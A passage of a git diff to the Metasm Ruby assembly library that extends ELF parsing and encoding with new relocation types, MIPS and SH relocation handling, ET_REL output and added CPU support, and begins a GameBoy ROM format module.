'GOTPLT_LOW16', 174 => 'GOTPLT_MEDLOW16', 175 => 'GOTPLT_MEDHI16', + 176 => 'GOTPLT_HI16', 177 => 'PLT_LOW16', 178 => 'PLT_MEDLOW16', + 179 => 'PLT_MEDHI16', 180 => 'PLT_HI16', 181 => 'GOTOFF_LOW16', + 182 => 'GOTOFF_MEDLOW16', 183 => 'GOTOFF_MEDHI16', 184 => 'GOTOFF_HI16', + 185 => 'GOTPC_LOW16', 186 => 'GOTPC_MEDLOW16', 187 => 'GOTPC_MEDHI16', + 188 => 'GOTPC_HI16', 189 => 'GOT10BY4', 190 => 'GOTPLT10BY4', + 191 => 'GOT10BY8', 192 => 'GOTPLT10BY8', 193 => 'COPY64', + 194 => 'GLOB_DAT64', 195 => 'JMP_SLOT64', 196 => 'RELATIVE64', + 242 => 'SHMEDIA_CODE', 243 => 'PT_16', 244 => 'IMMS16', + 245 => 'IMMU16', 246 => 'IMM_LOW16', 247 => 'IMM_LOW16_PCREL', + 248 => 'IMM_MEDLOW16', 249 => 'IMM_MEDLOW16_PCREL', 250 => 'IMM_MEDHI16', + 251 => 'IMM_MEDHI16_PCREL', 252 => 'IMM_HI16', 253 => 'IMM_HI16_PCREL', + 254 => '64', 255 => '64_PCREL' }, 'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32', 4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32', 7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22', @@ -362,11 +417,6 @@ class ELF < ExeFormat word :flags fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} } halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx - - def self.size elf - x = elf.bitsize >> 3 - 40 + 3*x - end end class Segment < SerialStruct @@ -380,11 +430,6 @@ class ELF < ExeFormat else Segment64 end end - - def self.size elf - x = elf.bitsize >> 3 - 8 + 6*x - end end class Segment32 < Segment @@ -421,11 +466,6 @@ class ELF < ExeFormat xword :entsize attr_accessor :name, :encoded - - def self.size elf - x = elf.bitsize >> 3 - 16 + 6*x - end end class Symbol < SerialStruct @@ -439,11 +479,6 @@ class ELF < ExeFormat attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx attr_accessor :name, :thunk - - def self.size elf - x = elf.bitsize >> 3 - 8 + 2*x - end end class Symbol32 < Symbol @@ -478,12 +513,6 @@ class ELF < ExeFormat end def addend ; end - - def self.size elf - x = elf.bitsize >> 3 - 2*x - end - end class Relocation32 < Relocation addr :offset @@ -506,11 +535,6 @@ class ELF < ExeFormat else RelocationAddend64 end end - def self.size elf - x = elf.bitsize >> 3 - 3*x - end - end class RelocationAddend32 < RelocationAddend addr :offset @@ -637,6 +661,15 @@ class ELF < ExeFormat end def shortname; 'elf'; end + + def sizeof_byte ; 1 ; end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_sword ; 4 ; end + def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end + alias sizeof_sxword sizeof_xword + alias sizeof_addr sizeof_xword + alias sizeof_off sizeof_xword end class LoadedELF < ELF @@ -689,6 +722,9 @@ class FatELF < ExeFormat def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end + def sizeof_byte ; 1 ; end + def sizeof_word ; 2 ; end + def sizeof_qword ; 8 ; end attr_accessor :header, :list def initialize @@ -716,7 +752,7 @@ class FatELF < ExeFormat f.encoded = e.encode_string h = e.header f.machine, f.abi, f.abi_version, f.e_class, f.data = - h.machine, h.abi, h.abi_version, h.e_class, h.data + h.machine, h.abi, h.abi_version, h.e_class, h.data end f.offset = new_label('fat_off') f.size = f.encoded.size @@ -812,7 +848,7 @@ typedef struct { /* Verneed Auxiliary Structure. */ Elf32_Word vna_next; /* no. of bytes from start of this */ } Elf32_Vernaux; /* vernaux to next vernaux entry */ -typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ +typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ typedef struct { Elf32_Half si_boundto; /* direct bindings - symbol bound to */ diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb index 0c540902c4..8f81c90f9e 100644 --- a/lib/metasm/metasm/exe_format/elf_decode.rb +++ b/lib/metasm/metasm/exe_format/elf_decode.rb @@ -18,19 +18,19 @@ class ELF case hdr.e_class when '32'; elf.bitsize = 32 when '64', '64_icc'; elf.bitsize = 64 - else raise InvalidExeFormat, "E: ELF: unsupported class #{hdr.e_class}" + else puts "W: ELF: unsupported class #{hdr.e_class}, assuming 32bit"; elf.bitsize = 32 end case hdr.data when 'LSB'; elf.endianness = :little when 'MSB'; elf.endianness = :big - else raise InvalidExeFormat, "E: ELF: unsupported endianness #{hdr.data}" + else puts "W: ELF: unsupported endianness #{hdr.data}, assuming littleendian"; elf.endianness = :little end if hdr.i_version != 'CURRENT' - raise InvalidExeFormat, "E: ELF: unsupported ELF version #{hdr.i_version}" + puts ":: ELF: unsupported ELF version #{hdr.i_version}" end - } + } end class Symbol @@ -66,7 +66,7 @@ class ELF # handles relocated LoadedELF def addr_to_fileoff(addr) la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) + la = (la == 0 ? (@load_address ||= 0) : 0) addr_to_off(addr - la) end @@ -75,7 +75,7 @@ class ELF def fileoff_to_addr(foff) if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff } la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) + la = (la == 0 ? (@load_address ||= 0) : 0) s.vaddr + la + foff - s.offset end end @@ -106,7 +106,7 @@ class ELF def decode_header(off = 0, decode_phdr=true, decode_shdr=true) @encoded.ptr = off @header.decode self - raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize + raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize if decode_phdr and @header.phoff != 0 decode_program_header(@header.phoff+off) end @@ -118,7 +118,7 @@ class ELF # decodes the section header # section names are read from shstrndx if possible def decode_section_header(off = @header.shoff) - raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize + raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize @encoded.add_export new_label('section_header'), off @encoded.ptr = off @sections = [] @@ -137,7 +137,7 @@ class ELF # decodes the program header table # marks the elf entrypoint as an export of +self.encoded+ def decode_program_header(off = @header.phoff) - raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize + raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize @encoded.add_export new_label('program_header'), off @encoded.ptr = off @segments = [] @@ -224,7 +224,40 @@ class ELF # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - return hsymcount+symndx if just_get_count + # we're going to decode the symbol table, and we just want to get the nr of symbols to read + if just_get_count + # index of highest hashed (exported) symbols + ns = hsymcount+symndx + + # no way to get the number of non-exported symbols from what we have here + # so we'll decode all relocs and use the largest index we see.. + rels = [] + if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.sizeof(self) + p_end = @encoded.ptr + @tag['RELSZ'] + while @encoded.ptr < p_end + rels << Relocation.decode(self) + end + end + if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self) + p_end = @encoded.ptr + @tag['RELASZ'] + while @encoded.ptr < p_end + rels << RelocationAddend.decode(self) + end + end + if @encoded.ptr = @tag['JMPREL'] and relcls = case @tag['PLTREL'] + when 'REL'; Relocation + when 'RELA'; RelocationAddend + end + p_end = @encoded.ptr + @tag['PLTRELSZ'] + while @encoded.ptr < p_end + rels << relcls.decode(self) + end + end + maxr = rels.map { |rel| rel.symbol }.grep(::Integer).max || -1 + + return [ns, maxr+1].max + end + # TODO end @@ -359,7 +392,7 @@ class ELF def decode_segments_symbols return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH']) - raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self) + raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self) # find number of symbols if @tag['HASH'] @@ -394,14 +427,16 @@ class ELF @encoded.ptr = sec.offset syms = [] raise 'Invalid symbol table' if sec.size > @encoded.length - (sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) } + (sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) } alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' + alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs syms.each { |s| if alreadysegs # if we already decoded the symbols from the DYNAMIC segment, # ignore dups and imports from this section next if s.shndx == 'UNDEF' - next if @symbols.find { |ss| ss.name == s.name } + next if alreadysyms[s.name] + alreadysyms[s.name] = true end @symbols << s decode_symbol_export(s) @@ -445,7 +480,7 @@ class ELF def decode_segments_relocs @relocations.clear if @encoded.ptr = @tag['REL'] - raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self) + raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self) p_end = @encoded.ptr + @tag['RELSZ'] while @encoded.ptr < p_end @relocations << Relocation.decode(self) @@ -453,7 +488,7 @@ class ELF end if @encoded.ptr = @tag['RELA'] - raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self) + raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self) p_end = @encoded.ptr + @tag['RELASZ'] while @encoded.ptr < p_end @relocations << RelocationAddend.decode(self) @@ -509,10 +544,28 @@ class ELF end end + # returns the target of a relocation using reloc.symbol + # may create new labels if the relocation targets a section + def reloc_target(reloc) + target = 0 + if reloc.symbol.kind_of?(Symbol) + if reloc.symbol.type == 'SECTION' + s = @sections[reloc.symbol.shndx] + if not target = @encoded.inv_export[s.offset] + target = new_label(s.name) + @encoded.add_export(target, s.offset) + end + elsif reloc.symbol.name + target = reloc.symbol.name + end + end + target + end + # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_386(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end @@ -541,15 +594,14 @@ class ELF when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32' # XXX use versionned version # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32' target = Expression[target, :+, addend] if addend and addend != 0 target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF' target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32' when 'COPY' # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name + if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE name = '' end @@ -567,24 +619,40 @@ class ELF # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_mips(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end + original_word = decode_word + # decode addend if needed case reloc.type when 'NONE' # no addend - else addend = reloc.addend || decode_sword + else addend = reloc.addend || Expression.make_signed(original_word, 32) end case reloc.type when 'NONE' when '32', 'REL32' - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32' target = Expression[target, :+, addend] if addend and addend != 0 + when '26' + target = reloc_target(reloc) + addend &= 0x3ff_ffff + target = Expression[target, :+, [addend, :<<, 2]] if addend and addend != 0 + target = Expression[[original_word, :&, 0xfc0_0000], :|, [[target, :&, 0x3ff_ffff], :>>, 2]] + when 'HI16' + target = reloc_target(reloc) + addend &= 0xffff + target = Expression[target, :+, [addend, :<<, 16]] if addend and addend != 0 + target = Expression[[original_word, :&, 0xffff_0000], :|, [[target, :>>, 16], :&, 0xffff]] + when 'LO16' + target = reloc_target(reloc) + addend &= 0xffff + target = Expression[target, :+, addend] if addend and addend != 0 + target = Expression[[original_word, :&, 0xffff_0000], :|, [target, :&, 0xffff]] else puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE target = nil @@ -596,7 +664,7 @@ class ELF # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_x86_64(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end @@ -627,14 +695,13 @@ class ELF when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32' # XXX use versionned version # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32' target = Expression[target, :+, addend] if addend and addend != 0 sz = :u32 if reloc.type == '32' or reloc.type == 'PC32' when 'COPY' # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name + if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE name = '' end @@ -649,6 +716,33 @@ class ELF Metasm::Relocation.new(Expression[target], sz, @endianness) if target end + def arch_decode_segments_reloc_sh(reloc) + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } + @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) + end + + original_word = decode_word + + # decode addend if needed + case reloc.type + when 'NONE' # no addend + else addend = reloc.addend || Expression.make_signed(original_word, 32) + end + + case reloc.type + when 'NONE' + when 'GLOB_DAT', 'JMP_SLOT' + target = reloc_target(reloc) + target = Expression[target, :+, addend] if addend and addend != 0 + else + puts "W: Elf: unhandled SH reloc #{reloc.inspect}" if $VERBOSE + target = nil + end + + Metasm::Relocation.new(Expression[target], :u32, @endianness) if target + end + class DwarfDebug # decode a DWARF2 'compilation unit' def decode(elf, info, abbrev, str) @@ -749,12 +843,13 @@ class ELF end # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs - def decode_segments_dynamic + def decode_segments_dynamic(decode_relocs=true) return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' } @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr) decode_tags decode_segments_tags_interpret decode_segments_symbols + return if not decode_relocs decode_segments_relocs decode_segments_relocs_interpret end @@ -783,6 +878,7 @@ class ELF # decodes sections, interprets symbols/relocs, fills sections.encoded def decode_sections + @symbols.clear # the NULL symbol is explicit in the symbol table decode_sections_symbols decode_sections_relocs @sections.each { |s| @@ -804,7 +900,7 @@ class ELF end def decode_exports - decode_segments_dynamic + decode_segments_dynamic(false) end # decodes the elf header, and depending on the elf type, decode segments or sections @@ -819,12 +915,14 @@ class ELF def each_section @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' } - return if @header.type != 'REL' + return if @header.type != 'REL' @sections.each { |s| next if not s.encoded - l = new_label(s.name) - s.encoded.add_export l, 0 - yield s.encoded, l + if not l = s.encoded.inv_export[0] or l != s.name.tr('^a-zA-Z0-9_', '_') + l = new_label(s.name) + s.encoded.add_export l, 0 + end + yield s.encoded, l } end @@ -833,9 +931,12 @@ class ELF case @header.machine when 'X86_64'; X86_64.new when '386'; Ia32.new - when 'MIPS'; MIPS.new @endianness + when 'MIPS'; (@header.flags.include?('32BITMODE') ? MIPS64 : MIPS).new @endianness when 'PPC'; PPC.new when 'ARM'; ARM.new + when 'SH'; Sh4.new + when 'ARC_COMPACT'; ARC.new + when 'MSP430'; MSP430.new else raise "unsupported cpu #{@header.machine}" end end @@ -912,6 +1013,13 @@ EOC (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value] } d.function[:default] = @cpu.disassembler_default_func + when 'sh4' + noret = DecodedFunction.new + noret.noreturn = true + %w[__stack_chk_fail abort exit].each { |fn| + d.function[Expression[fn]] = noret + } + d.function[:default] = @cpu.disassembler_default_func end d end diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb index 046a9c4a07..ae847983df 100644 --- a/lib/metasm/metasm/exe_format/elf_encode.rb +++ b/lib/metasm/metasm/exe_format/elf_encode.rb @@ -20,10 +20,10 @@ class ELF @phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr') @shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr') @flags ||= [] - @ehsize ||= Header.size(elf) - @phentsize ||= Segment.size(elf) + @ehsize ||= Header.sizeof(elf) + @phentsize ||= Segment.sizeof(elf) @phnum ||= elf.segments.length - @shentsize ||= Section.size(elf) + @shentsize ||= Section.sizeof(elf) @shnum ||= elf.sections.length super(elf) @@ -47,8 +47,8 @@ class ELF # defines the @name_p field from @name and elf.section[elf.header.shstrndx] # creates .shstrtab if needed def make_name_p elf - return 0 if not name or @name == '' - if elf.header.shstrndx.to_i == 0 + return 0 if not name or @name == '' or elf.header.shnum == 0 + if elf.header.shstrndx.to_i == 0 or not elf.sections[elf.header.shstrndx] sn = Section.new sn.name = '.shstrtab' sn.type = 'STRTAB' @@ -140,6 +140,9 @@ class ELF srank = rank[s] nexts = @sections.find { |sec| rank[sec] > srank } # find section with rank superior nexts = nexts ? @sections.index(nexts) : -1 # if none, last + if @header.shstrndx.to_i != 0 and nexts != -1 and @header.shstrndx >= nexts + @header.shstrndx += 1 + end @sections.insert(nexts, s) # insert section end @@ -196,6 +199,8 @@ class ELF # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag def encode_hash + return if @symbols.length <= 1 + if not hash = @sections.find { |s| s.type == 'HASH' } hash = Section.new hash.name = '.hash' @@ -236,11 +241,13 @@ class ELF # encodes the symbol table # should have a stable self.sections array (only append allowed after this step) def encode_segments_symbols(strtab) + return if @symbols.length <= 1 + if not dynsym = @sections.find { |s| s.type == 'DYNSYM' } dynsym = Section.new dynsym.name = '.dynsym' dynsym.type = 'DYNSYM' - dynsym.entsize = Symbol.size(self) + dynsym.entsize = Symbol.sizeof(self) dynsym.addralign = 4 dynsym.flags = ['ALLOC'] dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1 @@ -251,7 +258,7 @@ class ELF @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header @tag['SYMTAB'] = label_at(dynsym.encoded, 0) - @tag['SYMENT'] = Symbol.size(self) + @tag['SYMENT'] = Symbol.sizeof(self) encode_check_section_size dynsym @@ -261,7 +268,7 @@ class ELF # encodes the relocation tables # needs a complete self.symbols array def encode_segments_relocs - return if not @relocations + return if not @relocations or @relocations.empty? arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc" send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func @@ -287,7 +294,7 @@ class ELF @tag['JMPREL'] = label_at(relplt.encoded, 0) @tag['PLTRELSZ'] = relplt.encoded.virtsize @tag['PLTREL'] = relplt.type = stype - @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self)) + @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self)) encode_check_section_size relplt end @@ -305,13 +312,13 @@ class ELF rel.name = '.rel.dyn' rel.type = 'REL' rel.flags = ['ALLOC'] - rel.entsize = rel.addralign = Relocation.size(self) + rel.entsize = rel.addralign = Relocation.sizeof(self) encode_add_section rel end rel.encoded = EncodedData.new list.each { |r| rel.encoded << r.encode(self) } @tag['REL'] = label_at(rel.encoded, 0) - @tag['RELENT'] = Relocation.size(self) + @tag['RELENT'] = Relocation.sizeof(self) @tag['RELSZ'] = rel.encoded.virtsize encode_check_section_size rel end @@ -323,13 +330,13 @@ class ELF rela.name = '.rela.dyn' rela.type = 'RELA' rela.flags = ['ALLOC'] - rela.entsize = rela.addralign = RelocationAddend.size(self) + rela.entsize = rela.addralign = RelocationAddend.sizeof(self) encode_add_section rela end rela.encoded = EncodedData.new list.each { |r| rela.encoded << r.encode(self) } @tag['RELA'] = label_at(rela.encoded, 0) - @tag['RELAENT'] = RelocationAddend.size(self) + @tag['RELAENT'] = RelocationAddend.sizeof(self) @tag['RELASZ'] = rela.encoded.virtsize encode_check_section_size rela end @@ -337,6 +344,8 @@ class ELF # creates the .plt/.got from the @relocations def arch_386_preencode_reloc + return if @relocations.empty? + # if .got.plt does not exist, the dynamic loader segfaults if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' } gotplt = Section.new @@ -358,7 +367,7 @@ class ELF when 'PC32' next if not r.symbol - if r.symbol.type != 'FUNC' + if r.symbol.type != 'FUNC' # external data xref: generate a GOT entry # XXX reuse .got.plt ? if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' } @@ -385,7 +394,7 @@ class ELF else @relocations.delete r end - + # prevoffset is label_section_start + int_section_offset target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } rel = target_s.encoded.reloc[prevoffset.rexpr] @@ -411,12 +420,12 @@ class ELF # # [.got.plt header] # dd _DYNAMIC - # dd 0 # rewritten to GOTPLT? by ld-linux + # dd 0 # rewritten to GOTPLT? by ld-linux # dd 0 # rewritten to dlresolve_inplace by ld-linux # # [.got.plt + func_got_offset] # dd some_func_got_default # lazily rewritten to the real addr of some_func by jmp dlresolve_inplace - # # base_relocated ? + # # base_relocated ? # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..) # also geteip trashes eax, which may interfere with regparm(3) @@ -448,7 +457,7 @@ class ELF plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"] plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length - reloffset *= Relocation.size(self) if @bitsize == 32 + reloffset *= Relocation.sizeof(self) if @bitsize == 32 plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"] # transform the reloc PC32 => JMP_SLOT @@ -531,7 +540,7 @@ class ELF # fill these later, but create the base relocs now arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - next if not respond_to?(arch_create_reloc_func) + next if not respond_to?(arch_create_reloc_func) curaddr = label_at(@encoded, 0, 'elf_start') fkbind = {} @sections.each { |s| @@ -557,6 +566,9 @@ class ELF encode_check_section_size strtab + # rm unused tag (shrink .nointerp binaries by allowing to skip the section entirely) + @tag.delete('STRTAB') if strtab.encoded.length == 1 + # XXX any order needed ? @tag.keys.each { |k| case k @@ -581,7 +593,7 @@ class ELF encode_tag[k, @tag[k]] end } - encode_tag['NULL', @tag['NULL'] || 0] + encode_tag['NULL', @tag['NULL'] || 0] unless @tag.empty? encode_check_section_size dynamic end @@ -598,17 +610,13 @@ class ELF @sections.each { |s| next if not s.encoded s.encoded.reloc.each_value { |r| - t = Expression[r.target.reduce] - if t.op == :+ and t.rexpr.kind_of? Expression and t.rexpr.op == :- and not t.rexpr.lexpr and - t.rexpr.rexpr.kind_of?(::String) and t.lexpr.kind_of?(::String) - symname = t.lexpr - else - symname = t.reduce_rec - end - next if not dll = autoexports[symname] + et = r.target.externals + extern = et.find_all { |name| autoexports[name] } + next if extern.length != 1 + symname = extern.first if not @symbols.find { |sym| sym.name == symname } @tag['NEEDED'] ||= [] - @tag['NEEDED'] |= [dll] + @tag['NEEDED'] |= [autoexports[symname]] sym = Symbol.new sym.shndx = 'UNDEF' sym.type = 'FUNC' @@ -737,6 +745,55 @@ class ELF @relocations << r end + def arch_mips_create_reloc(section, off, binding, rel=nil) + rel ||= section.encoded.reloc[off] + startaddr = label_at(@encoded, 0) + r = Relocation.new + r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] + if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) + # this location is relative to the base load address of the ELF + r.type = 'REL32' + else + et = rel.target.externals + extern = et.find_all { |name| not binding[name] } + if extern.length != 1 + puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE + return + end + if not sym = @symbols.find { |s| s.name == extern.first } + puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE + return + end + r.symbol = sym + if Expression[rel.target, :-, sym.name].bind(binding).reduce.kind_of?(::Integer) + rel.target = Expression[rel.target, :-, sym.name] + r.type = '32' + elsif Expression[rel.target, :&, 0xffff0000].reduce.kind_of?(::Integer) + lo = Expression[rel.target, :&, 0xffff].reduce + lo = lo.lexpr if lo.kind_of?(Expression) and lo.op == :& and lo.rexpr == 0xffff + if lo.kind_of?(Expression) and lo.op == :>> and lo.rexpr == 16 + r.type = 'HI16' + rel.target = Expression[rel.target, :&, 0xffff0000] + # XXX offset ? + elsif lo.kind_of?(String) or (lo.kind_of(Expression) and lo.op == :+) + r.type = 'LO16' + rel.target = Expression[rel.target, :&, 0xffff0000] + # XXX offset ? + else + puts "ELF: mips_create_reloc: ignoring reloc #{lo}: cannot find matching 16 reloc type" if $VERBOSE + return + end + #elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer + # rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] + # r.type = 'PC32' + else + puts "ELF: mips_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE + return + end + end + @relocations << r + end + # resets the fields of the elf headers that should be recalculated, eg phdr offset def invalidate_header @header.shoff = @header.shnum = nil @@ -817,9 +874,13 @@ class ELF end if @header.type == 'REL' - raise 'ET_REL encoding not supported atm, come back later' + encode_rel + else + encode_elf end + end + def encode_elf @encoded = EncodedData.new if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' } # create a .dynamic section unless we are an ET_EXEC with .nointerp @@ -870,7 +931,7 @@ class ELF end # add dynamic segment - if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } + if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } and ds.encoded.length > 1 ds.set_default_values self seg = Segment.new seg.type = 'DYNAMIC' @@ -979,6 +1040,36 @@ class ELF @encoded.data end + def encode_rel + @encoded = EncodedData.new + automagic_symbols + create_relocations + + @header.phoff = @header.phnum = @header.phentsize = 0 + @header.entry = 0 + @sections.each { |sec| sec.addr = 0 } + st = @sections.inject(EncodedData.new) { |edata, sec| edata << sec.encode(self) } + + binding = {} + @encoded << @header.encode(self) + @encoded.align 8 + + binding[@header.shoff] = @encoded.length + @encoded << st + @encoded.align 8 + + @sections.each { |sec| + next if not sec.encoded + binding[sec.offset] = @encoded.length + sec.encoded.fixup sec.encoded.binding + @encoded << sec.encoded + @encoded.align 8 + } + + @encoded.fixup! binding + @encoded.data + end + def parse_init # allow the user to specify a section, falls back to .text if none specified if not defined? @cursource or not @cursource diff --git a/lib/metasm/metasm/exe_format/gb.rb b/lib/metasm/metasm/exe_format/gb.rb new file mode 100644 index 0000000000..c6b39d182e --- /dev/null +++ b/lib/metasm/metasm/exe_format/gb.rb @@ -0,0 +1,65 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + + +module Metasm +# GameBoy ROM file format +class GameBoyRom < ExeFormat + class Header < SerialStruct + # starts at 0x104 in the file + mem :logo, 0x30 + str :title, 0x10 + byte :sgb_flag + byte :cartridge_type + byte :rom_size # n => 